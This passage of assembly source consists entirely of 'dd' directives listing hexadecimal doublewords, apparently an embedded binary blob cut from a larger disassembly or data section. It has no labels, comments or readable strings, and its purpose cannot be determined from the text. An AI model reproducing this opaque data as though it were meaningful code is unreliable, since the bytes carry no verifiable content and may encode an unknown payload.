0E06FA807h, 4AD04B34h dd 0FD736C7h, 0ED437F9Dh, 1838F145h, 0AB6DF6D4h, 7D0E293Ah dd 6400C090h, 16F1A7B2h, 1F9A77h, 5E02C190h, 957D9D80h dd 43044000h, 3F09B9A1h, 344700A7h, 0BBCD7C9Ah, 97009BCBh dd 521E3668h, 0D4B19D0h, 920515B8h, 3386E424h, 0E84D9C00h dd 0BD213624h, 3AC400EDh, 0E42AF2AFh, 412E45FCh, 0C90048C7h dd 0CD1DCC83h, 821614DFh, 1E01F040h, 0A1AD509Ah, 0D49B3168h dd 1A0EFBF7h, 41DFB3D3h, 1337D289h, 655030h, 1183A269h dd 6C2BB7C3h, 81025C3Ch, 0EA3292F0h, 1FECBD3Ch, 4B270F28h dd 4067412Ch, 0A6D5809Dh, 30093122h, 0A22301h, 699B716Ch dd 465C0F5Ah, 7E003213h, 0EDF501BBh, 63970700h, 1CEFCC43h dd 0DCA500E5h, 0DDFEFF72h, 884CE0BDh, 4A38D6h, 7A67BF40h dd 161C12Bh, 48466AB5h, 748CECAFh, 0CD0BE324h, 0D61DD197h dd 194E0042h, 40104DDDh, 0B729909h, 4115002Fh, 39829FF7h dd 0FCD489h, 614B98A3h, 0F2A0C405h, 7EF92C09h, 3DB88035h dd 581E322h, 0D18B34E4h, 0B034C0CEh, 0CB2E5CEEh, 50008D9Ch dd 0D067FCAFh, 6C4A1F9Dh, 0F4EBC0D1h, 3E1B422Ah, 1171CC98h dd 6129CB0Fh, 0E32C2096h, 0C0086Ch, 75C120A7h, 27400AF9h dd 9CDE5500h, 51970422h, 0D6E700C2h, 3E86E2Ch, 0E5006607h dd 0A5AFF14Fh, 4B3B41h, 0A0B03847h, 5A6A733Dh, 80E2603Ch dd 0C40150A8h, 4DFE7Fh, 8EE924ECh, 3E9C1CEAh, 0A728500h dd 2C768A3Fh, 0F708070Ch, 0A17486C7h, 0F86D8F11h, 0C9A9AD6h dd 0AE237000h, 2C9FB059h, 719E0063h, 5892D9E5h, 2707F547h dd 772ABE66h, 44CBB410h, 98805888h, 0BF6424h, 873E8B13h dd 31280DC7h, 7600A0CDh, 914CC897h, 0B8B36526h, 0B6B70171h dd 5087D6AEh, 5E5FE404h, 0CE0B8900h, 0FF84F371h, 3E52E098h dd 0F9000A60h, 2940876Eh, 12781B6Ah, 0DE8ED300h, 0A7ADE5DAh dd 0F4EA91h, 0AFFC22E3h, 0C4B2CB84h, 6DCF6400h, 33AD27B5h dd 71EA004Ah, 0E9228A86h, 0CA0048C7h, 0A1D9C931h, 30F9C6h dd 0AB96124h, 2CD43553h, 0DE034A00h, 0BBB072FCh, 0FC224E63h dd 47AE00F5h, 0EAA82D10h, 8C850015h, 929C31Eh, 281DF82Ah dd 0C140F914h, 8FFB2CB1h, 0C3E10574h, 0D04D9551h, 0F2A8B0C8h dd 851F9914h, 412581C4h, 0B6FC5421h, 0EE97000Eh, 8312C826h dd 3F173CB0h, 0ABA02348h, 92390073h, 9FCF07C7h, 7A006929h dd 89414372h, 0EDB663Ch, 0D24E48D6h, 0FA7BF020h, 140706BFh dd 0EBF2AD5Fh, 8CC8D4h, 60AA005Ah, 55C17E6Bh, 8E00C296h dd 9883E89Ah, 587C6916h, 7438BB3Ah, 68856081h, 0CBA40A70h dd 8042B0F0h, 0C1008A72h, 0BC04D3FEh, 3B864Dh, 0A341EC11h dd 0A2C096E8h, 9CE37F00h, 68A8BB49h, 0ADBF009Eh, 923BCBF9h dd 0D278FE44h, 0F872502Ch, 5A56D400h, 5CA3A62Ch, 7F1CB0F7h dd 5D9D404Bh, 0A848CF1h, 31EC6C00h, 0EDD9DDE4h, 1AF23AB2h dd 1C816C48h, 4C49AA3Eh, 1E04E0A8h, 0E7F11789h, 4CABE4E0h dd 0F4009782h, 0A0C2FF61h, 0B50B4C24h, 0FC7D9h, 0BC7079CCh dd 7575D4h, 7B8F0617h, 2EDABE95h, 495B7800h, 1D2F6F3Ah dd 3EC625F7h, 0CC006456h, 5758194h, 3847DB3h, 62129FBBh dd 9CB89842h, 60171A45h, 0DC00D5ECh, 0E0F49C1h, 26F057h dd 6DD603AEh, 83FC458Eh, 16E258h, 153575A9h, 1C280F0Bh dd 130AF667h, 0A900AA7Dh, 9D76A954h, 0CC70FFh, 992072Eh dd 0DA18F7EEh, 0E782DB00h, 0BEF8C6AAh, 7D4B0079h, 7F216468h dd 88C0A0EEh, 0FD8740B2h, 0FB1A00A6h, 69343275h, 5709AB17h dd 68D8F3h, 3713261Ch, 4A630770h, 0D05545B6h, 0E690168Ch dd 9ACA4909h, 4CB480F6h, 8F0477h, 6CFBB6EFh, 0CF5A4315h dd 0E51D1190h, 0A0019DAh, 553AB52Bh, 0F44007Fh, 706A4333h dd 0DB002FD2h, 0C92C3C88h, 0F8305B9h, 0D519FCC5h, 0C0019A20h dd 4D057DCCh, 0C7A55CFEh, 6BFD18C0h, 0BF500EA2h, 0B80B8ACh dd 27959B0Eh, 9EA15B00h, 52E92EABh, 1A9892h, 4721B06Bh dd 0D918857h, 1DF23200h, 0D4B4BEA1h, 89D6386Ah, 5790CF00h dd 63ACF154h, 0FF01E976h, 5C467D50h, 7B60DA7Ch, 0E387684h dd 0C3C4FDCBh, 0D2441A63h dd 0C067E6B9h, 0CA00138Ch, 0B497AB3Bh, 91D5EAh, 34362F77h dd 5BB1329Fh, 46D7B700h, 71768BAAh, 0F6F81D4Bh, 4008538Ch dd 19B6B0FCh, 3900047Bh, 0E5F02AEDh, 3BB9CFE1h, 0A7802D69h dd 4901F7A1h, 0F5F41B67h, 0BDBF3012h, 78B2B4C0h, 4DF40071h dd 5B0D2FD4h, 59044501h, 0FDED147h, 7082E082h, 9D4E1FCCh dd 0E084E750h, 0F7468206h, 96ED9440h, 14C5C0Fh, 6D1580F9h dd 39C63F8h, 9B0AC862h, 36F8D10Fh, 0A81D513Ah, 16407D3Bh dd 0DBDEA9D6h, 962F0046h, 7462B6BAh, 721D5B09h, 60E45426h dd 5E758F80h, 980D056Eh, 9E8124B3h, 7DAB04ECh, 0B43C8029h dd 0A6009B1Fh, 52CA0D7Bh, 9148F1h, 3FB502CFh, 0B0409386h dd 8EC1B300h, 9690710h, 374DFh, 41E2C2BDh, 44975A19h, 7DE11710h dd 37E45100h, 0FDE868AAh, 7C006372h, 0F43F16A4h, 73A92781h dd 0D6050B6Dh, 0B4F60B8Bh, 57012B03h, 2AB9D09Eh, 2DE80263h dd 4EF80742h, 982C80C0h, 0B8D9B824h, 9F673BBFh, 57009053h dd 51694F11h, 35101E61h, 0EA1CC191h, 0D94A7B81h, 325C20B3h dd 2D80F50Eh, 0A01E00A2h, 0FC63F73h, 8E583D16h, 300FAF2h dd 4BF2D56Dh, 14FD0010h, 631E0564h, 0D4A03DC1h, 0EA7686DAh dd 0D61B6100h, 0E3CB097Dh, 0EFCE5060h, 5210051h, 624ABD14h dd 7A0531A3h, 0C9679913h, 0C3D7A080h, 0F68700DDh, 0BD727DCFh dd 0A10E76D2h, 410AB4E6h, 7CEAE48Bh, 9E37FCh, 9D8A7769h dd 40422925h, 9A4CFD1Eh, 0B80A6B40h, 36AA2Ah, 0C4B34EC8h dd 79846263h, 0A42E8200h, 0A94890EFh, 13609029h, 1753857h dd 0ED852A6Bh, 3244702Bh, 0A2807C1Ch, 0AE96F8E4h, 0B8DEE863h dd 40C01E9h, 0ABDDEF22h, 34089019h, 0FC00E132h, 2073971Eh dd 33FAF9h, 0F7C30B06h, 0CDA414FFh, 0F0BB6502h, 0C8D80E44h dd 276AD64h, 0C09178EDh, 0A84142CEh, 0E447E8h, 2A85795Eh dd 8215BBA0h, 22041C00h, 0E293E5DCh, 0ACCF0599h, 903980F2h dd 0BBF8A040h, 0B403C00h, 96E3877Eh, 0E0FA3C24h, 2200D1CCh dd 0E87C53A0h, 0EEC7994h, 0B37DDA03h, 0D0BB71FBh, 9441244Ch dd 0B60240F0h, 0FA00CE0Fh, 0A347A0C1h, 743E2FCCh, 92AD00E2h dd 81B660CBh, 45053111h, 622CF94Ch, 5E8C3CB0h, 325000F7h dd 80A2E721h, 3D1E9300h, 943FD4E9h, 44ECB5h, 0ADF8FECBh dd 729E9CA1h, 0B8FDD0DFh, 1DB87CF9h, 5BF4F300h, 0B90BD2CAh dd 9F8F01C8h, 0CC60CD7Ch, 2B1080BBh, 6977C279h, 70020015h dd 0CB78A195h, 8E0005AFh, 541429CAh, 79DE838Ah, 501F1DF4h dd 0C3A24776h, 446770F9h, 0DF00237Dh, 41F8743Bh, 8B5ACFh dd 70FD7BEDh, 0D5F213CBh, 0B0128400h, 1060C286h, 9BFA0FB9h dd 0BDA00358h, 9D91E80Bh, 9A343Ch, 59E5F31h, 16DAEEA3h dd 0E715C9h, 0CD7D8D00h, 0CF0ED378h, 80F127AFh, 4A139DD6h dd 0EEDC019Fh, 0B49BDB85h, 0E4722Eh, 0BD161228h, 302D72h dd 0B3DAE9EFh, 0D44A5A7Eh, 8A752100h, 435CC2AAh, 773F002Ch dd 0EAC632FCh, 0AE0E3DD6h, 0E020B19Dh, 0A07ABD0Eh, 22860243h dd 0ABE781B4h, 0A002070h, 0F824EBA3h, 0A030BCD6h, 86958Ch dd 0D9CEF09Eh, 0FE79DFDEh, 0BBAA9900h, 7CB6FA76h, 9D680030h dd 0C45CF2F6h, 8679194Ch, 178A1F00h, 8D5B0A69h, 5098CFh dd 0CA71E73Fh, 55136401h, 80C33438h, 0FA16099h, 1BAF40h dd 0CD7BC079h, 204CDF57h, 9F3ED93Ah, 3283785Bh, 98DE3451h dd 63CE3Fh, 0D491E287h, 3B064B0Ch, 23F1DD07h, 2AA54CE9h dd 0A26028C1h, 1ADC6D0h, 0F2D0A3CFh, 0CAD352D1h, 0C1DECE0h dd 41237B00h, 3F9C03D6h, 0BC75508Ch, 283958BAh, 3B05B508h dd 694DB80h, 2E7E0D70h, 80E46CDAh, 0EA88B025h, 6B003556h dd 6D392F8Bh, 1917B75h, 7A2E12Eh, 0C0CBCF31h, 0A809AD84h dd 0D2BB6Eh, 0D067FFA6h, 0D3CA0F52h, 9D4E8E64h, 774B822h dd 0AB6964C0h, 81D2270Eh, 0DF70C2C3h, 1C186889h, 0C2040103h dd 33B8F392h, 7CA02C0Bh, 1039071h, 9514A0F8h, 670C002Eh dd 2BF1B081h, 54009759h, 685BB617h, 1D3F718h, 0EAE6A272h dd 0DCF53BACh, 8F00E8B0h, 164DF0CBh, 7B07D2h, 9CF2C9D0h dd 0AB61AA0Dh, 47270917h, 59001216h, 0D01F550Bh, 2C1C04EAh dd 812FF7BAh, 20A565C0h, 9F01C358h, 7CFB9944h, 4EFC4AACh dd 87AB07CAh, 0FF619ABBh, 7873E0Bh, 9286A0A0h, 0C2037F8Dh dd 5D0A236Ah, 0EFC8E06Eh, 0B9C53E61h, 17183980h, 95167A72h dd 0DB5CFF0Fh, 6319604Bh, 76D0626h, 5DC5E9CCh, 838DB09Bh dd 22002A7Eh, 0E669F394h, 1882BDh, 0BE62AE74h, 8F880E06h dd 1DEFC300h, 4F667CDCh, 0FBF6C8h, 0D4F034CCh, 0ADEDB69Bh dd 0DCF93C00h, 26C05B8Ch, 0DDB4027Fh, 0F2580A54h, 74571240h dd 0DA236601h, 0EC6524Eh, 5EC47ECDh, 4A4C00E5h, 0E38D0F82h dd 0BC0066F0h, 312C8EB4h, 0EEDBDA5h, 0D63A246Bh, 73830FA0h dd 0D8E25E43h, 0DF8AC500h, 959DC22Dh, 77960774h, 974E51FFh dd 0CB605017h, 700A5B0h, 96D6E4C1h, 28DA686h, 65E1ED46h dd 42E218B7h, 78EED680h, 810034C7h, 0F8BF06EBh, 0C64273h dd 4853AF4Fh, 17016A6Bh, 7FE71A00h, 0C3BA90F2h, 945E00E4h dd 1B2DAF5Ah, 7400D2FCh, 8E639901h, 4C7F7Ch, 0EAB2DBE6h dd 0A8FF0669h, 56D16700h, 494E19B4h, 781E038h, 0C8B51E60h dd 0C034E477h, 0DB545D97h, 7B48891Dh, 3EFD3740h, 906CDCh dd 593A781Dh, 285C014Fh, 0B4393D00h, 8C0A5822h, 0FFED00FCh dd 0ABFD8612h, 8948EB66h, 0F3AE000Ch, 1928849Ah, 67FE0059h dd 5B4EA252h, 0D774D66Eh, 8AB47100h, 0DD15FF3Ch, 0CC391FC4h dd 0E282006Bh, 354F95FCh, 551D9C00h, 0C35CF31Eh, 0AAE939B3h dd 0C1AB00F2h, 0BA265032h, 0A10010F8h, 97537A9Eh, 9022D2h dd 0A4558229h, 0DB6C9928h, 0DE5D8412h, 91532000h, 0A7AE10h dd 0BCB1E679h, 5FCDBFF8h, 0CE6DD400h, 3AB78E9h, 79BB2629h dd 0D0E719A8h, 5974C853h, 7DA0BF00h, 88A4C775h, 99EC00C3h dd 66291351h, 0B4FEF79Eh, 1F146202h, 0E0955360h, 0D1D899h dd 684D1C32h, 2DCD37BAh, 521FEF7Ch, 0BF40C4C9h, 9DAD4ED8h dd 45CB0088h, 0F8501639h, 36009F94h, 0B610B22Ch, 0C9889h dd 8E309747h, 9CE1246Eh, 1657870Eh, 20226F46h, 2276C0Dh dd 5DE70013h, 1DB2E3EAh, 4AF6494Dh, 2AA59600h, 0F429D268h dd 397F9Eh, 53C71E47h, 0E7D764BFh, 372EFF7Ah, 5414245Fh dd 0C90A009Ch, 35D1A7B0h, 0D6550EB8h, 3F220D8Dh, 61FEBDAFh dd 45DF5100h, 0B08F59h, 70E26328h, 0E5544D09h, 1E2C68C0h dd 3EB9179Ah, 8580E44Fh, 27131DEAh, 9C77CE5Bh, 0DCFEA900h dd 425D9B94h, 35D90030h, 34685425h, 0BF7E0B72h, 0BC525B00h dd 0B54EA44Fh, 466600FCh, 0B8CD5ADBh, 860073ABh, 5DA65B8Dh dd 3B693303h, 9587DF53h, 0D0153291h, 9B0E6B9Eh, 270FD478h dd 208CAC60h, 5541E28Ah, 518D00A0h, 0D57714E6h, 100B3C7h dd 62D25CCDh, 503C53h, 782118D8h, 0D59E7DC9h, 4037FB00h dd 31F5B628h, 72A30055h, 0B0A19FD1h, 60E1C5B9h, 0E70095C3h dd 0BF4571BCh, 38ABB2h, 0DDB3BAC2h, 0B0D19470h, 0BDE42F07h dd 7C0773Dh, 708208Dh, 0B671C6DCh, 513B40D6h, 647E1C24h dd 0B00093E8h, 0A4220E1h, 1E6ACEh, 0FC13E2EFh, 77DCD19Ah dd 10016100h, 0FEDF27C0h, 422A00C9h, 0FA1788FDh, 0E490BF6Fh dd 0E3F4A800h, 93B2BB41h, 0EBC401ECh, 546BA788h, 582FC4C6h dd 7D117700h dd 0F5A95AD4h, 1F75D2h, 60EAB5B3h, 4A0118FFh, 0DF507C00h dd 6E65CB67h, 944D4C4Fh, 4EE22207h, 33019F51h, 70F80FDDh dd 58009D16h, 18B962ADh, 8F1B0Eh, 0D69C796Bh, 0FF811AEEh dd 5591C400h, 0D0EA0D6Eh, 0CEAD007Bh, 4CC66571h, 1A000480h dd 62F40CE2h, 6A879Fh, 0D09BC28Ch, 6B92FB01h, 13746E00h dd 0EBDD14C5h, 0AEB9001Dh, 0BE1E4F4Dh, 0D67C0D41h, 0D97D6B02h dd 0C0BFA1DBh, 5855E3h, 0EFCC70D5h, 503A9BDh, 8BC7660Bh dd 0BF3E8136h, 9020276Ah, 0A3F11C49h, 0C9F38029h, 9D10B9B8h dd 57617407h, 0DBB0A2BDh, 3CC4352Fh, 8E805DEFh, 8AFF2962h dd 0A8009431h, 0FB14FA0Eh, 0B781DAh, 0A491BFD0h, 1DB4C308h dd 8D75B26h, 7B47FE00h, 4FAF7DEAh, 0FFBC0Ch, 5A69E35Eh dd 125073h, 0B5092991h, 2CF9387Eh, 6DBB2700h, 0D1B336FDh dd 90080148h, 20074B70h, 1E96E412h, 149CBA00h, 94D632C6h dd 985000B5h, 80E29E7Ch, 261997E1h, 772067C1h, 7A3E1080h dd 0ECC471CDh, 5D9198C7h, 40A8F840h, 8F163C2h, 6E00E7DFh dd 4F3EF6FFh, 7E5737Ah, 0EE6934C5h, 399312B3h, 502B0CA7h dd 4AADD5C4h, 0F3DEFF03h, 0B7EC2AC2h, 27B900DEh, 0B3B670h dd 38DBC5A8h, 18A4568Fh, 48D4A30Ah, 80BD905Eh, 0ED33A74Fh dd 187A6D1Fh, 11AE15B2h, 0C00012D5h, 0C88C8DCh, 0F97A96FEh dd 5155388Ah, 58D50FEDh, 0E7110200h, 2B007010h, 0DF2EA79Dh dd 72EBE886h, 6BC126AAh, 0FF0F00DAh, 739C1450h, 0EF214A1Dh dd 37DA6580h, 8A005h, 0BE966CB1h, 6E1BE397h, 0A7307F00h dd 0B61471FDh, 0DEDA00D4h, 61F5E063h, 7400C8ECh, 67C3CBE3h dd 0CD2C9FBh, 0BE6A713Bh, 9900EDDEh, 4BBC42Dh, 2956A2h dd 0C9A51506h, 90749332h, 7594AE00h, 591D3366h, 0EB98172Eh dd 45350BF6h, 0C223C00h, 0AD005BB9h, 0CA862608h, 0F05CE748h dd 34E02EBh, 0D8D945E5h, 5FAE88A0h, 0A709268h, 0E4E83700h dd 2B176E96h, 4DC507DCh, 502428A5h, 8EDA4153h, 3021000h dd 0FF393283h, 885002F2h, 0CFB22FE0h, 109A3AC3h, 15A27EC0h dd 896EFD1Fh, 3704803Eh, 0AD7F9C0Eh, 0D9403905h, 481F1E00h dd 5E6A27A4h, 1408315Ch, 0FCECA5h, 2144E5C0h, 9BACFAh dd 0E904B4B0h, 46A666C2h, 71BD0600h, 0C239034h, 0E16301ADh dd 9445C6FFh, 3AB2F835h, 28103E00h, 0D94F111Fh, 135B7993h dd 0D252F1h, 1609C1FBh, 760F483h, 5B89C478h, 98187BF8h dd 49F304FCh, 80B8C835h, 37716E94h, 87FD9500h, 782798FFh dd 44CB4910h, 0FCC1500h, 657C5A39h, 69266DF2h, 4D007DFFh dd 0D2257772h, 0FA180B38h, 180B354h, 31ACB760h, 463BF700h dd 0AB3CB437h, 66B20392h, 7F199742h, 0B88FAEF0h, 8410820Eh dd 0E95B8048h, 4D215Ch, 62DCFFF6h, 0F7838B5Ah, 8166C407h dd 3940AC1Ch, 7C57E7Dh, 907684BFh, 36A1B088h, 6706EBBAh dd 0D510B165h, 0E2571AB8h, 61E0C3h, 8F15ECBFh, 0B550F407h dd 0C43A30DCh, 0B8A9C707h, 35D8C9F0h, 5A560C6Ch, 0DA38B7AAh dd 5C288800h, 2D6BAF48h, 0A0720167h, 40A7C7FFh, 56A3CCEEh dd 8C1A9760h, 276284C4h, 91F82723h, 7DA24B00h, 0F64F82E0h dd 5BA40038h, 9475DCFh, 9433D1C4h, 0B887A86Dh, 0E65244h dd 6C8FD925h, 7835CF55h, 8354E93Bh, 0B4396D36h, 65C4F9B3h dd 528B2988h, 179F8900h, 173CDB63h, 0F1BD051h, 1D20F28Ah dd 27140C06h, 0E684DA28h, 0AF5F4800h, 0DE674E80h, 586F2672h dd 7B01008Fh, 0D7433EB9h, 0F57AEC71h, 76B553Dh, 0B6DE362Dh dd 0E9A654F0h, 931C0018h, 0B2E9C82h, 6500DB70h, 0F21ACDF7h dd 25C17AEh, 48AB89CEh, 8560BFD6h, 96E02E02h, 2D42BD00h dd 0A9A15EF4h, 93C807D8h, 0C09409D1h, 3B27FF80h, 7538B403h dd 0D0EBFEF2h, 244D2Ch, 7315D86Fh, 0E158DF7Ah, 8BA76C00h dd 5C8709A2h, 0D01D01B3h, 2DF080F3h, 5B9E0C3h, 83B18B00h dd 0EB1CC0B4h, 0EC2700C7h, 0DAFEE82Fh, 8217AECAh, 34016544h dd 0B262F258h, 1185CCh, 3B7489DDh, 0B790E236h, 0E1B31D00h dd 0D92012EDh, 92C710Bh, 23016BCAh, 48C01380h, 4400C6B0h dd 5FDF0A1h, 2C4B04A7h, 289510h, 99BB2019h, 0AA00525Dh dd 65378F08h, 793A9Bh, 6278DDE8h, 69E9D4Fh, 2D779407h dd 56508CA3h, 0EDE1F41h, 0C5AE307h, 0AF708C0h, 5E0F8BF3h dd 0E0F9852Bh, 16AACA32h, 7AC500DAh, 5318CBC2h, 411ED9FAh dd 7DC04804h, 3D4223D7h, 6D7E14D4h, 9F00ECC6h, 4587C838h dd 0CA0054B1h, 131D743Fh, 51435Ch, 83DB6493h, 0B415BD4Ah dd 0D2B2881Ch, 0DFE80BC1h, 5AF53E16h, 77EAED8h, 0DCC61983h dd 260F3048h, 671F8908h, 0F5C74ECCh, 7F97026Dh, 3525D8C0h dd 96BC0058h, 0B9535DFCh, 0BA038473h, 70B0E332h, 193CA036h dd 3398C0h, 218B0B64h, 335965D0h, 0E0011A00h, 0BBF6FA8Eh dd 0A0C007ABh, 707FD6E4h, 58A791DDh, 6201CF7Bh, 407E0EAEh dd 52C44E22h, 549C00E5h, 1BC896B5h, 0F90087C5h, 905F8CD9h dd 1F46F2C7h, 0A612F7h, 0E58D2CEEh, 0F81F0A11h, 765F2D65h dd 0FFF2B9C0h, 0F6CC9AFEh, 93D400D3h, 74CEC0FCh, 0FD6039F8h dd 8ED982B8h, 1177486h, 0F04DB6FEh, 0C8246C67h, 51007ABAh dd 0D5745C27h, 3A99FB66h, 0F2009362h, 0FDB152CFh, 0FC004ABCh dd 0CB92CC59h, 76E03A6h, 70DD8B33h, 34AD6090h, 297CC73Fh dd 0EB024A03h, 0E8466C14h, 1833A998h, 29931018h, 0ED00A6DAh dd 24092B95h, 7D703032h, 1E20072h, 0DE448ECDh, 64E0486Eh dd 4B75AF00h, 5B2C63EBh, 16030583h, 41590DC6h, 601B9594h dd 9FD2F05Eh, 0CB34EF2Ch, 0EC78100h, 0A2FCD0h, 16A01E0Ah dd 5B9A27D1h, 0A4F58F00h, 9132F1E7h, 4828C0C8h, 2E2DCC55h dd 83C9753Bh, 9FE0E19Ah, 455DD87Ah, 6BF600DEh, 50A8D297h dd 0AD001972h, 89150A0Fh, 5B8B73h, 0CE7984DDh, 5788AB0Ch dd 4D2A751Ch, 0A6DBDF40h, 0E2E6BD3h, 59E1F72Bh, 690A3D60h dd 8D0E2285h, 80A7431Bh, 487AD4DEh, 18C50076h, 0A141DC3Ch dd 947B536Bh, 80F9783Bh, 8D2A5F4Dh, 3BBFE636h, 0AB80B475h dd 0FF030C40h, 0F1006013h, 784E8369h, 1627CAh, 0A86C02CBh dd 2049D35Dh, 427BAF14h, 0CD6700ACh, 24939126h, 0F47A46h dd 0E31F9BCAh, 96E876F6h, 0E94CE000h, 3EEAB071h, 2E2B0FC1h dd 0D6001D29h, 0DD9A5897h, 1EDA9D00h, 257196F8h, 3E1200A3h dd 818C5AF5h, 0CC007393h, 5FD03984h, 37B2DD7h, 122709B2h dd 4898AE05h, 5BE423BAh, 67953F1Dh, 318D8882h, 281760C0h dd 105807AEh, 807ADE64h, 71C34B89h, 38A97D00h, 0D909BF61h dd 0D34D0EADh, 0BF960F85h, 0C8724C00h, 4C34188Bh, 133EC6E8h dd 41941180h, 0DE9AAE83h, 3FF7670Fh, 0B5B2006Dh, 0FAA926h dd 8AC7D11Ch, 98BFC631h, 773E2200h, 947F326Fh, 164B026Bh dd 7278CCE8h, 40DD49E1h, 448FDE1h, 5FD738h, 55ADD5DFh dd 0F0F6CEh, 0A4529046h, 0A61048A2h, 6D341300h, 0E35DBB75h dd 0B9AA004Ch, 49F6F0EEh, 7705FDF4h, 3A346E30h, 456144C0h dd 74CC00BDh, 0EFCB972Eh, 2D00C45Eh, 0ECA8DE87h, 0F85190h dd 48890E49h, 0B68A54E0h, 0C1597100h, 0B087255Ch, 8629007Ah dd 0BDF45FE9h, 0D0000299h, 23AF851Eh, 0D71424h, 0F31FCAC6h dd 8963C32Eh, 0C9612100h, 0E2B45945h, 0A84C0FD9h, 9520EE71h dd 5D019422h, 3F00497Dh, 8AEC340Eh, 3C6AC4h, 7C8D28C2h dd 92BEBCC6h, 0BB2BFF00h dd 9D8326E8h, 71840B02h, 4D542E15h, 74CBB301h, 0F5EC5128h dd 121F00B7h, 0DF3E251Eh, 76E82E3Dh, 15562301h, 5D53301Dh dd 3E07ACD0h, 0DC1F772Ah, 0DF19000Bh, 3155BF8Ch, 605231CEh dd 4497C591h, 0F7CB0015h, 0DE563D3Ch, 0A707A3C3h, 89994D16h dd 2D4C680h, 518D60F8h, 5FA71D43h, 897D8A30h, 418CC509h dd 6A65E0ABh, 0D640A901h, 0A3CB37BEh, 85291440h, 5231007Bh dd 2E9F10D7h, 0B014DB3Fh, 28C49E49h, 77009CC8h, 0B5721746h dd 732D1Ah, 31024782h, 0A5DB55E6h, 9FCD7803h, 90AF5E77h dd 18B20C0h, 473C383Fh, 0C103D852h, 0A195C432h, 0BF680103h dd 8BFAD67Fh, 0E02FF310h, 4D9274h, 0CDDB06A2h, 6BEB7FB1h dd 8336B63Ah, 0C55BC91Dh, 0C41E0315h, 29A4DC24h, 0AF76C019h dd 5FE4CF30h, 0E6F40ACEh, 80F8ED81h, 8024F79Ch, 367041ADh dd 0A6D93E05h, 9C060174h, 29F3FCh, 0B7E3CDDAh, 0E89D557Fh dd 0DD82680Fh, 15E00035h, 20C786h, 81C64D7Ah, 2619B3CDh dd 7762BA00h, 6B9E31A5h, 0AF01009Ch, 8A6A2E39h, 0A0510BFh dd 0E908F375h, 8FE0D1C7h, 26A3EF76h, 70A871h, 520B9420h dd 0EC03EA44h, 0F05C80BEh, 8648389Dh, 0A4800E3Eh, 8C6FAEBCh dd 3A0F39BDh, 5C933C26h, 996AEBC0h, 1843669h, 0C4F5B63Dh dd 8E618BA3h, 40406574h, 4C459311h, 0D63B00F4h, 5CA86778h dd 3200C8E5h, 0E0B6CC2h, 34CE76Ah, 0EA5620DAh, 2DA8B0B3h dd 6B0168F0h, 0B8BF6C0Bh, 0DDD47FCAh, 362700CDh, 1D4B3D7Eh dd 0FB00D964h, 844071B0h, 0BC0288h, 0B6AC358h, 0BF12A22Eh dd 321303Ah, 0B37C34A5h, 0F68BA3A1h, 565F2820h, 2A7B0093h dd 0DCFDDF2h, 0AE00A037h, 19FDC5F1h, 0E41662BCh, 85593E6Bh dd 0B83854B6h, 5631AB1Ch, 4AF47EC0h, 0C76E47Ah, 855872E2h dd 481E0120h, 8001E72Fh, 909B038Ch, 0E9BCADF0h, 7297F400h dd 20D39800h, 2FA46A59h, 0EAFF8B8h, 0A0D802BCh, 714EEA06h dd 64965500h, 5E586387h, 11F319D3h, 0B132A035h, 5DABA091h dd 1A2FF00Dh, 185C7C23h, 26AA818Ch, 0F8E02F0Fh, 640887EEh dd 3A40CC20h, 54D93F2Bh, 29314A80h, 65940582h, 0D833EC2Ah dd 4E0CC401h, 376E5780h, 0DE5001D3h, 0B3AF2A3Dh, 0DF006A96h dd 56AD0E81h, 1C42B844h, 0C67EC2C1h, 482D4963h, 3F4BAE00h dd 0CB642276h, 9B7647h, 845998CDh, 3BEDF315h, 0B0BC2800h dd 7F83A790h, 1F0C08Fh, 5CC53411h, 36151E00h, 836F3D0Eh dd 462E0051h, 4B18FECAh, 0E87DA539h, 4D009D7Eh, 0E3EB1C20h dd 2E60639Ch, 3DD46C8Eh, 0C702C100h, 3001345Bh, 0FC58C500h dd 7CE14286h, 5FB50056h, 1BF96047h, 0BBA03B2Eh, 0AC1687DBh dd 23035488h, 0F939A09Fh, 3A30F6F4h, 39BAF879h, 0F2FC6Fh dd 0F29C3B34h, 6B5A5142h, 0D6F3B21Ch, 68A707B8h, 0ADA02306h dd 17D9C6E1h, 0CB6C96h, 0A52FFD25h, 1D184D35h, 49291814h dd 0BBB00E7h, 0DC609DC2h, 0BF1C65FBh, 5A0044BEh, 45EFA0D2h dd 311360CEh, 850A7176h, 770061EEh, 0E4093B31h, 0B9E23Ah dd 5B118BBBh, 102FA796h, 876B1C00h, 4A203E59h, 91C00C80h dd 2E14B9D5h, 0C8EE7DECh, 61AFD100h, 1542C203h, 38E06727h dd 0A3B96766h, 0D9B01DEEh, 8E03045Bh, 57346358h, 7DB08BCEh dd 0C6C00390h, 0FB361F62h, 0B740B8A8h, 4D3D5973h, 0E6E80285h dd 0E03DE266h, 74271E58h, 0DD010180h, 8AB1B587h, 0A8B02BD6h dd 9E0503FBh, 0CFB8729Ch, 9809C3E0h, 0D32FFF00h, 7C555DC0h dd 9FC23D61h, 2E92D780h, 0DF568B6Dh, 33F0E107h, 910002ECh dd 0F66CF8E5h, 0E1A758A6h, 0C8400E7Dh, 7503EDBCh, 6EE9581Fh dd 4E9EC450h, 0EC8F7400h, 12179373h, 9B5F0187h, 0F38C39B1h dd 7150872Ah, 2F803B50h, 0E8970Fh, 71F8390h, 46C58FF1h dd 35A71301h, 8D9B25B4h, 97D3F340h, 0B5510068h, 64ACE0CEh dd 0B87DB4F3h, 0E5F92100h, 0FD8C46Ah, 0D9E43Ch, 0F5EFCCA7h dd 0D72433CDh, 0D118A098h, 96C09847h, 27B05C81h, 3116A600h dd 0B44E7FF3h, 0A7F93207h, 0EA66A4F7h, 6CF60018h, 374A72BCh dd 2F03FA8Eh, 4CDCE83Ch, 27CCC0D3h, 933918E3h, 6EA7105Bh dd 181ECDE4h, 7441737Eh, 0F215454Bh, 7152F3C4h, 575E0106h dd 0A06D71DCh, 7D35D4CCh, 89F09100h, 0C90354D7h, 52C0008Ch dd 0E5E26417h, 1F00DD08h, 475C1213h, 45B6D5h, 0BC9DE922h dd 0AA2057CAh, 73ED0E1Fh, 0EED5630Ah, 97687500h, 0C6B51Ah dd 1399091Dh, 0BC1BAFACh, 4BA77100h, 89F19DDDh, 580A00F4h dd 0D7078F0Bh, 460119B6h, 4BA56FAh, 0E4419257h, 0ACC05C05h dd 707B1F79h, 4A2A06ABh, 0D4E06894h, 0FCDBE71Fh, 1E740C00h dd 21B6541h, 0C53BDD5Fh, 3DE3F947h, 151A6DC0h, 0F74C0D00h dd 